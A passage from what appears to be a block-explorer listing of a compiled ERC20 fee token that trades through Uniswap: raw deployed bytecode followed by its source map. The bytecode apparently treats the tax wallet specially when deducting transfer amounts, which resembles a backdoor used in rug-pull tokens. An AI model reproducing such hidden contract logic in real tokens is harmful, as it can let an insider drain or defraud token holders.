2461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104dd565b6013805462ff000019166201000017905561067230737a250d5630b4cf539739df2c5dacb4c659f2488d6106636009600a611862565b610428906402540be400611870565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e691906118bc565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610745573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076991906118bc565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107b3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d791906118bc565b601180546001600160a01b0319166001600160a01b0392909216919091179055305f81815260016020526040902054737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d719914791905f806108385f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561089e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108c391906118d7565b505060115460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201526001600160a01b03909116915063095ea7b3906044016020604051808303815f875af1158015610928573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061094c9190611902565b506013805460ff19166001179055565b6001600160a01b0383166109be5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104dd565b6001600160a01b038216610a1f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104dd565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ae45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104dd565b6001600160a01b038216610b465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104dd565b5f8111610ba75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104dd565b60135462010000900460ff161580610bc65750601354610100900460ff165b15610bdb57610bd6838383611281565b505050565b5f80546001600160a01b03858116911614801590610c0657505f546001600160a01b03848116911614155b8015610c2057506010546001600160a01b03848116911614155b15610e8557610c516064610c4b600854600b5411610c4057600454610c44565b6006545b8590611324565b906113a9565b6011549091506001600160a01b038581169116148015610c8e57506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610cb257506001600160a01b0383165f9081526003602052604090205460ff16155b15610d9857600c54821115610d095760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104dd565b600d5482610d2b856001600160a01b03165f9081526001602052604090205490565b610d359190611921565b1115610d835760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104dd565b600b8054905f610d9283611934565b91905055505b6011546001600160a01b038481169116148015610dbe57506001600160a01b0384163014155b15610deb57610de86064610c4b600954600b5411610dde57600554610c44565b6007548590611324565b90505b305f90815260016020526040902054601354610100900460ff16158015610e1f57506011546001600160a01b038581169116145b8015610e33575060135462010000900460ff165b8015610e405750600e5481115b8015610e4f5750600a54600b54115b15610e8357610e71610e6c84610e6784600f546113ea565b6113ea565b611058565b478015610e8157610e81476111fb565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610ec257506001600160a01b0383165f9081526003602052604090205460ff165b8015610ed757506001600160a01b0384163014155b8015610eec57506001600160a01b0383163014155b15610ef657436014555b6001600160a01b0384165f9081526003602052604090205460ff16158015610f3657506001600160a01b0383165f9081526003602052604090205460ff16155b1561100e576011546001600160a01b03848116911614610fdc576001600160a01b038084165f908152601560205260409020601154909190811690861603610fa45780545f03610f9f57600a54600b5410610f915743610f9c565b610f9c60014361194c565b81555b610fd6565b6001600160a01b0385165f90815260156020526040902081541580610fca575081548154105b15610fd457805482555b505b5061100e565b6001600160a01b0384165f9081526015602052604090206014548154611001916113fe565b6001820155436002909101555b61101a8484848461143f565b50505050565b5f81848411156110435760405162461bcd60e51b81526004016104dd9190611654565b505f61104f848661194c565b95945050505050565b6013805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061109a5761109a61195f565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561110a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061112e91906118bc565b816001815181106111415761114161195f565b60200260200101906001600160a01b031690816001600160a01b03168152505061118030737a250d5630b4cf539739df2c5dacb4c659f2488d8461095c565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906111bf9085905f90869030904290600401611973565b5f604051808303815f87803b1580156111d6575f80fd5b505af11580156111e8573d5f803e3d5ffd5b50506013805461ff001916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610484573d5f803e3d5ffd5b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0383165f908152600160205260409020546112a390826113fe565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546112d19082611469565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a739085815260200190565b5f825f0361133357505f6103a9565b5f61133e8385611870565b90508261134b85836119e4565b146113a25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104dd565b9392505050565b5f6113a283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114c7565b5f8183116113f857826113a2565b50919050565b5f6113a283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611020565b5f61144b8584846114f3565b905061146285858361145d87876113fe565b6115a3565b5050505050565b5f806114758385611921565b9050838110156113a25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104dd565b5f81836114e75760405162461bcd60e51b81526004016104dd9190611654565b505f61104f84866119e4565b6010545f9081906001600160a01b039081169086160361151f5760125461151a9085611324565b611521565b835b9050821561159b57305f908152600160205260409020546115429084611469565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115929087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546115c590836113fe565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546115f39082611469565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116469085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b8181101561168057858101830151858201604001528201611664565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104b1575f80fd5b5f80604083850312156116c5575f80fd5b82356116d0816116a0565b946020939093013593505050565b5f805f606084860312156116f0575f80fd5b83356116fb816116a0565b9250602084013561170b816116a0565b929592945050506040919091013590565b5f6020828403121561172c575f80fd5b81356113a2816116a0565b5f8060408385031215611748575f80fd5b8235611753816116a0565b91506020830135611763816116a0565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117bc57815f19048211156117a2576117a261176e565b808516156117af57918102915b93841c9390800290611787565b509250929050565b5f826117d2575060016103a9565b816117de57505f6103a9565b81600181146117f457600281146117fe5761181a565b60019150506103a9565b60ff84111561180f5761180f61176e565b50506001821b6103a9565b5060208310610133831016604e8410600b841016171561183d575081810a6103a9565b6118478383611782565b805f190482111561185a5761185a61176e565b029392505050565b5f6113a260ff8416836117c4565b80820281158282048414176103a9576103a961176e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118cc575f80fd5b81516113a2816116a0565b5f805f606084860312156118e9575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611912575f80fd5b815180151581146113a2575f80fd5b808201808211156103a9576103a961176e565b5f600182016119455761194561176e565b5060010190565b818103818111156103a9576103a961176e565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119c35784516001600160a01b03168352938301939183019160010161199e565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119fe57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200247c816f8723705d005bf410aa3d60fe3fa70900d827f84dc67d9c1ed7edfba64736f6c63430008170033
Deployed Bytecode Sourcemap
3588:9950:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5631:83;;;;;;;;;;-1:-1:-1;5701:5:0;;;;;;;;;;;;-1:-1:-1;;;5701:5:0;;;;5631:83;;;;;;;:::i;:::-;;;;;;;;6464:161;;;;;;;;;;-1:-1:-1;6464:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6464:161:0;1023:187:1;4717:52:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4717:52:0;1215:177:1;5908:95:0;;;;;;;;;;;;;:::i;6633:313::-;;;;;;;;;;-1:-1:-1;6633:313:0;;;;;:::i;:::-;;:::i;5817:83::-;;;;;;;;;;-1:-1:-1;5817:83:0;;4446:1;2000:36:1;;1988:2;1973:18;5817:83:0;1858:184:1;12939:362:0;;;;;;;;;;;;;:::i;:::-;;13309:187;;;;;;;;;;;;;:::i;6011:119::-;;;;;;;;;;-1:-1:-1;6011:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6104:18:0;6077:7;6104:18;;;:9;:18;;;;;;;6011:119;1580:94;;;;;;;;;;;;;:::i;12081:162::-;;;;;;;;;;;;;:::i;4525:55::-;;;;;;;;;;;;;;;;1357:87;;;;;;;;;;-1:-1:-1;1403:7:0;1430:6;1357:87;;-1:-1:-1;;;;;1430:6:0;;;2445:51:1;;2433:2;2418:18;1357:87:0;2299:203:1;4587:57:0;;;;;;;;;;;;;;;;5722:87;;;;;;;;;;-1:-1:-1;5794:7:0;;;;;;;;;;;;-1:-1:-1;;;5794:7:0;;;;5722:87;;6138:167;;;;;;;;;;-1:-1:-1;6138:167:0;;;;;:::i;:::-;;:::i;4651:59::-;;;;;;;;;;;;;;;;12351:580;;;;;;;;;;;;;:::i;6313:143::-;;;;;;;;;;-1:-1:-1;6313:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6421:18:0;;;6394:7;6421:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6313:143;6464:161;6539:4;6556:39;920:10;6579:7;6588:6;6556:8;:39::i;:::-;-1:-1:-1;6613:4:0;6464:161;;;;;:::o;5908:95::-;5961:7;4503:13;4446:1;4503:2;:13;:::i;:::-;4489:27;;:11;:27;:::i;:::-;5981:14;;5908:95;:::o;6633:313::-;6731:4;6748:36;6758:6;6766:9;6777:6;6748:9;:36::i;:::-;6795:121;6804:6;920:10;6826:89;6864:6;6826:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6826:19:0;;;;;;:11;:19;;;;;;;;920:10;6826:33;;;;;;;;;;:37;:89::i;:::-;6795:8;:121::i;:::-;-1:-1:-1;6934:4:0;6633:313;;;;;:::o;12939:362::-;13005:10;;-1:-1:-1;;;;;13005:10:0;920;-1:-1:-1;;;;;12989:26:0;;12981:35;;;;;;13068:4;13027:20;6104:18;;;:9;:18;;;;;;13088:16;;13085:77;;13119:30;13136:12;13119:16;:30::i;:::-;13193:21;13228:12;;13225:69;;13257:24;13270:10;13257:12;:24::i;:::-;12970:331;;12939:362::o;13309:187::-;13373:10;;-1:-1:-1;;;;;13373:10:0;920;-1:-1:-1;;;;;13359:24:0;;13351:33;;;;;;13424:21;13456:32;13424:21;13456:12;:32::i;:::-;13340:156;13309:187::o;1580:94::-;1403:7;1430:6;-1:-1:-1;;;;;1430:6:0;920:10;1492:23;1484:68;;;;-1:-1:-1;;;1484:68:0;;;;;;;:::i;:::-;;;;;;;;;1645:21:::1;1663:1;1645:9;:21::i;:::-;1580:94::o:0;12081:162::-;1403:7;1430:6;-1:-1:-1;;;;;1430:6:0;920:10;1492:23;1484:68;;;;-1:-1:-1;;;1484:68:0;;;;;;;:::i;:::-;4503:13:::1;4446:1;4503:2;:13;:::i;:::-;4489:27;::::0;:11:::1;:27;:::i;:::-;12137:12;:21:::0;4503:13:::1;4446:1;4503:2;:13;:::i;:::-;4489:27;::::0;:11:::1;:27;:::i;:::-;12169:14;:23:::0;12208:27:::1;4503:13;4446:1;4503:2;:13;:::i;:::-;4489:27;::::0;:11:::1;:27;:::i;:::-;12208;::::0;1361:25:1;;;1349:2;1334:18;12208:27:0::1;;;;;;;12081:162::o:0;6138:167::-;6216:4;6233:42;920:10;6257:9;6268:6;6233:9;:42::i;12351:580::-;1403:7;1430:6;-1:-1:-1;;;;;1430:6:0;920:10;1492:23;1484:68;;;;-1:-1:-1;;;1484:68:0;;;;;;;:::i;:::-;12415:11:::1;::::0;::::1;;12414:12;12406:48;;;::::0;-1:-1:-1;;;12406:48:0;;5145:2:1;12406:48:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;12406:48:0::1;4943:347:1::0;12406:48:0::1;12465:11;:17:::0;;-1:-1:-1;;12465:17:0::1;::::0;::::1;::::0;;12493:58:::1;12510:4;3922:42;4503:13;4446:1;4503:2;:13;:::i;:::-;4489:27;::::0;:11:::1;:27;:::i;12493:58::-;3922:42;-1:-1:-1::0;;;;;12596:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12578:55:0::1;;12642:4;3922:42;-1:-1:-1::0;;;;;12648:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12578:93;::::0;-1:-1:-1;;;;;;12578:93:0::1;::::0;;;;;;-1:-1:-1;;;;;5781:15:1;;;12578:93:0::1;::::0;::::1;5763:34:1::0;5833:15;;5813:18;;;5806:43;5698:18;;12578:93:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12562:13;:109:::0;;-1:-1:-1;;;;;;12562:109:0::1;-1:-1:-1::0;;;;;12562:109:0;;;::::1;::::0;;;::::1;::::0;;12753:4:::1;-1:-1:-1::0;6104:18:0;;;-1:-1:-1;6104:18:0;;;;;;3922:42:::1;::::0;12683:31:::1;::::0;12722:21:::1;::::0;12753:4;12784:1:::1;12786::::0;12788:7:::1;1403::::0;1430:6;-1:-1:-1;;;;;1430:6:0;;1357:87;12788:7:::1;12683:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12683:129:0;;;-1:-1:-1;;;;;6219:15:1;;;12683:129:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;12796:15:0::1;6433:19:1::0;;;6426:35;6135:19;;12683:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12830:13:0::1;::::0;12823:71:::1;::::0;-1:-1:-1;;;12823:71:0;;3922:42:::1;12823:71;::::0;::::1;6957:51:1::0;-1:-1:-1;;7024:18:1;;;7017:34;-1:-1:-1;;;;;12830:13:0;;::::1;::::0;-1:-1:-1;12823:29:0::1;::::0;6930:18:1;;12823:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12906:11:0::1;:17:::0;;-1:-1:-1;;12906:17:0::1;12919:4;12906:17;::::0;;12351:580::o;7217:335::-;-1:-1:-1;;;;;7310:19:0;;7302:68;;;;-1:-1:-1;;;7302:68:0;;7546:2:1;7302:68:0;;;7528:21:1;7585:2;7565:18;;;7558:30;7624:34;7604:18;;;7597:62;-1:-1:-1;;;7675:18:1;;;7668:34;7719:19;;7302:68:0;7344:400:1;7302:68:0;-1:-1:-1;;;;;7389:21:0;;7381:68;;;;-1:-1:-1;;;7381:68:0;;7951:2:1;7381:68:0;;;7933:21:1;7990:2;7970:18;;;7963:30;8029:34;8009:18;;;8002:62;-1:-1:-1;;;8080:18:1;;;8073:32;8122:19;;7381:68:0;7749:398:1;7381:68:0;-1:-1:-1;;;;;7460:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7512:32;;1361:25:1;;;7512:32:0;;1334:18:1;7512:32:0;;;;;;;;7217:335;;;:::o;7560:2923::-;-1:-1:-1;;;;;7653:18:0;;7645:68;;;;-1:-1:-1;;;7645:68:0;;8354:2:1;7645:68:0;;;8336:21:1;8393:2;8373:18;;;8366:30;8432:34;8412:18;;;8405:62;-1:-1:-1;;;8483:18:1;;;8476:35;8528:19;;7645:68:0;8152:401:1;7645:68:0;-1:-1:-1;;;;;7732:16:0;;7724:64;;;;-1:-1:-1;;;7724:64:0;;8760:2:1;7724:64:0;;;8742:21:1;8799:2;8779:18;;;8772:30;8838:34;8818:18;;;8811:62;-1:-1:-1;;;8889:18:1;;;8882:33;8932:19;;7724:64:0;8558:399:1;7724:64:0;7821:1;7807:11;:15;7799:69;;;;-1:-1:-1;;;7799:69:0;;9164:2:1;7799:69:0;;;9146:21:1;9203:2;9183:18;;;9176:30;9242:34;9222:18;;;9215:62;-1:-1:-1;;;9293:18:1;;;9286:39;9342:19;;7799:69:0;8962:405:1;7799:69:0;7886:11;;;;;;;7884:13;;:22;;-1:-1:-1;7900:6:0;;;;;;;7884:22;7879:115;;;7924:37;7939:4;7945:2;7949:11;7924:14;:37::i;:::-;7560:2923;;;:::o;7879:115::-;8006:17;1430:6;;-1:-1:-1;;;;;8040:15:0;;;1430:6;;8040:15;;;;:32;;-1:-1:-1;1403:7:0;1430:6;-1:-1:-1;;;;;8059:13:0;;;1430:6;;8059:13;;8040:32;:50;;;;-1:-1:-1;8080:10:0;;-1:-1:-1;;;;;8076:14:0;;;8080:10;;8076:14;;8040:50;8036:1217;;;8118:83;8197:3;8118:74;8147:15;;8135:9;;:27;8134:57;;8177:14;;8134:57;;;8164:12;;8134:57;8118:11;;:15;:74::i;:::-;:78;;:83::i;:::-;8230:13;;8106:95;;-1:-1:-1;;;;;;8222:21:0;;;8230:13;;8222:21;:54;;;;-1:-1:-1;;;;;;8247:29:0;;3922:42;8247:29;;8222:54;:72;;;;-1:-1:-1;;;;;;8283:11:0;;;;;;:7;:11;;;;;;;;8281:13;8222:72;8218:312;;;8339:12;;8324:11;:27;;8316:66;;;;-1:-1:-1;;;8316:66:0;;9574:2:1;8316:66:0;;;9556:21:1;9613:2;9593:18;;;9586:30;9652:27;9632:18;;;9625:55;9697:18;;8316:66:0;9372:349:1;8316:66:0;8438:14;;8423:11;8409:13;8419:2;-1:-1:-1;;;;;6104:18:0;6077:7;6104:18;;;:9;:18;;;;;;;6011:119;8409:13;:25;;;;:::i;:::-;:43;;8401:83;;;;-1:-1:-1;;;8401:83:0;;10058:2:1;8401:83:0;;;10040:21:1;10097:2;10077:18;;;10070:30;10136:28;10116:18;;;10109:56;10182:18;;8401:83:0;9856:350:1;8401:83:0;8503:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8218:312;8555:13;;-1:-1:-1;;;;;8549:19:0;;;8555:13;;8549:19;:43;;;;-1:-1:-1;;;;;;8572:20:0;;8587:4;8572:20;;8549:43;8546:179;;;8625:84;8705:3;8625:75;8652:16;;8642:9;;:26;8641:58;;8684:15;;8641:58;;;8670:13;;8625:11;;:15;:75::i;:84::-;8613:96;;8546:179;8790:4;8741:28;6104:18;;;:9;:18;;;;;;8816:6;;;;;;;8815:7;:30;;;;-1:-1:-1;8832:13:0;;-1:-1:-1;;;;;8826:19:0;;;8832:13;;8826:19;8815:30;:45;;;;-1:-1:-1;8849:11:0;;;;;;;8815:45;:89;;;;;8887:17;;8864:20;:40;8815:89;:123;;;;;8920:18;;8908:9;;:30;8815:123;8811:431;;;8959:74;8976:56;8980:11;8993:38;8997:20;9019:11;;8993:3;:38::i;:::-;8976:3;:56::i;:::-;8959:16;:74::i;:::-;9081:21;9125:22;;9121:106;;9172:35;9185:21;9172:12;:35::i;:::-;8940:302;8811:431;8091:1162;8036:1217;-1:-1:-1;;;;;9270:13:0;;;;;;:7;:13;;;;;;;;;:29;;-1:-1:-1;;;;;;9288:11:0;;;;;;:7;:11;;;;;;;;9270:29;9269:68;;;;-1:-1:-1;;;;;;9317:20:0;;9332:4;9317:20;;9269:68;:89;;;;-1:-1:-1;;;;;;9341:17:0;;9353:4;9341:17;;9269:89;9265:163;;;9404:12;9385:16;:31;9265:163;-1:-1:-1;;;;;9444:13:0;;;;;;:7;:13;;;;;;;;9442:15;:32;;;;-1:-1:-1;;;;;;9463:11:0;;;;;;:7;:11;;;;;;;;9461:13;9442:32;9438:980;;;9500:13;;-1:-1:-1;;;;;9494:19:0;;;9500:13;;9494:19;9490:917;;-1:-1:-1;;;;;9567:16:0;;;9535:29;9567:16;;;:12;:16;;;;;9614:13;;9567:16;;9614:13;;;9606:21;;;;9602:544;;9656:21;;;:26;9652:164;;9745:18;;9735:9;;:28;:57;;9780:12;9735:57;;;9764:15;9778:1;9764:12;:15;:::i;:::-;9711:81;;9652:164;9602:544;;;-1:-1:-1;;;;;9900:18:0;;9864:33;9900:18;;;:12;:18;;;;;9945:21;;:26;;:79;;-1:-1:-1;10003:21:0;;9975:25;;:49;9945:79;9941:186;;;10078:25;;10054:49;;9941:186;9841:305;9602:544;9516:645;9490:917;;;-1:-1:-1;;;;;10222:18:0;;10186:33;10222:18;;;:12;:18;;;;;10314:16;;10284:25;;:47;;:29;:47::i;:::-;10259:22;;;:72;10379:12;10350:26;;;;:41;9490:917;10430:45;10445:4;10450:2;10453:11;10465:9;10430:14;:45::i;:::-;7634:2849;7560:2923;;;:::o;1849:190::-;1935:7;1971:12;1963:6;;;;1955:29;;;;-1:-1:-1;;;1955:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1995:9:0;2007:5;2011:1;2007;:5;:::i;:::-;1995:17;1849:190;-1:-1:-1;;;;;1849:190:0:o;11590:483::-;5276:6;:13;;-1:-1:-1;;5276:13:0;;;;;11692:16:::1;::::0;;11706:1:::1;11692:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11692:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11692:16:0::1;11668:40;;11737:4;11719;11724:1;11719:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;11719:23:0::1;;;-1:-1:-1::0;;;;;11719:23:0::1;;;::::0;::::1;3922:42;-1:-1:-1::0;;;;;11763:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11753:4;11758:1;11753:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1::0;;;;;11753:32:0::1;;;-1:-1:-1::0;;;;;11753:32:0::1;;;::::0;::::1;11796:62;11813:4;3922:42;11846:11;11796:8;:62::i;:::-;11869:196;::::0;-1:-1:-1;;;11869:196:0;;3922:42:::1;::::0;11869:66:::1;::::0;:196:::1;::::0;11950:11;;11976:1:::1;::::0;11992:4;;12019::::1;::::0;12039:15:::1;::::0;11869:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5312:6:0;:14;;-1:-1:-1;;5312:14:0;;;-1:-1:-1;;;;11590:483:0:o;12251:92::-;12308:10;;:27;;-1:-1:-1;;;;;12308:10:0;;;;:27;;;;;12328:6;;12308:10;:27;:10;:27;12328:6;12308:10;:27;;;;;;;;;;;;;;;;;;;1176:173;1232:16;1251:6;;-1:-1:-1;;;;;1268:17:0;;;-1:-1:-1;;;;;;1268:17:0;;;;;;1301:40;;1251:6;;;;;;;1301:40;;1232:16;1301:40;1221:128;1176:173;:::o;6954:255::-;-1:-1:-1;;;;;7062:15:0;;;;;;:9;:15;;;;;;:34;;7083:11;7062:19;:34::i;:::-;-1:-1:-1;;;;;7045:15:0;;;;;;;:9;:15;;;;;;:51;;;;7122:13;;;;;;;:32;;7141:11;7122:17;:32::i;:::-;-1:-1:-1;;;;;7107:13:0;;;;;;;:9;:13;;;;;;;:47;;;;7170:31;;;;;;;;;;7189:11;1361:25:1;;1349:2;1334:18;;1215:177;2571:246:0;2629:7;2653:1;2658;2653:6;2649:47;;-1:-1:-1;2683:1:0;2676:8;;2649:47;2706:9;2718:5;2722:1;2718;:5;:::i;:::-;2706:17;-1:-1:-1;2751:1:0;2742:5;2746:1;2706:17;2742:5;:::i;:::-;:10;2734:56;;;;-1:-1:-1;;;2734:56:0;;12157:2:1;2734:56:0;;;12139:21:1;12196:2;12176:18;;;12169:30;12235:34;12215:18;;;12208:62;-1:-1:-1;;;12286:18:1;;;12279:31;12327:19;;2734:56:0;11955:397:1;2734:56:0;2808:1;2571:246;-1:-1:-1;;;2571:246:0:o;2234:132::-;2292:7;2319:39;2323:1;2326;2319:39;;;;;;;;;;;;;;;;;:3;:39::i;11478:104::-;11535:7;11564:1;11560;:5;11559:15;;11573:1;11559:15;;;-1:-1:-1;11569:1:0;11478:104;-1:-1:-1;11478:104:0:o;1705:136::-;1763:7;1790:43;1794:1;1797;1790:43;;;;;;;;;;;;;;;;;:3;:43::i;11208:262::-;11318:15;11336:47;11354:4;11360:11;11373:9;11336:17;:47::i;:::-;11318:65;-1:-1:-1;11394:68:0;11414:4;11420:2;11318:65;11433:28;:11;11450:9;11433:15;:28::i;:::-;11394:19;:68::i;:::-;11307:163;11208:262;;;;:::o;2047:179::-;2105:7;;2137:5;2141:1;2137;:5;:::i;:::-;2125:17;;2166:1;2161;:6;;2153:46;;;;-1:-1:-1;;;2153:46:0;;12559:2:1;2153:46:0;;;12541:21:1;12598:2;12578:18;;;12571:30;12637:29;12617:18;;;12610:57;12684:18;;2153:46:0;12357:351:1;2374:189:0;2460:7;2495:12;2488:5;2480:28;;;;-1:-1:-1;;;2480:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2519:9:0;2531:5;2535:1;2531;:5;:::i;10491:422::-;10638:10;;10591:7;;;;-1:-1:-1;;;;;10638:10:0;;;10629:19;;;;:71;;10665:18;;:35;;10688:11;10665:22;:35::i;:::-;10629:71;;;10651:11;10629:71;10611:89;-1:-1:-1;10715:11:0;;10711:170;;10785:4;10767:24;;;;:9;:24;;;;;;:41;;10797:9;10767:28;:41::i;:::-;10760:4;10742:24;;;;:9;:24;;;;;;;:66;;;;10828:41;;-1:-1:-1;;;;;10828:41:0;;;;;;;10859:9;1361:25:1;;1349:2;1334:18;;1215:177;10828:41:0;;;;;;;;10711:170;10898:7;10491:422;-1:-1:-1;;;;10491:422:0:o;10921:279::-;-1:-1:-1;;;;;11055:15:0;;;;;;:9;:15;;;;;;:31;;11075:10;11055:19;:31::i;:::-;-1:-1:-1;;;;;11039:15:0;;;;;;;:9;:15;;;;;;:47;;;;11111:13;;;;;;;:32;;11129:13;11111:17;:32::i;:::-;-1:-1:-1;;;;;11097:13:0;;;;;;;:9;:13;;;;;;;:46;;;;11159:33;;;;;;;;;;11178:13;1361:25:1;;1349:2;1334:18;;1215:177;11159:33:0;;;;;;;;10921:279;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2: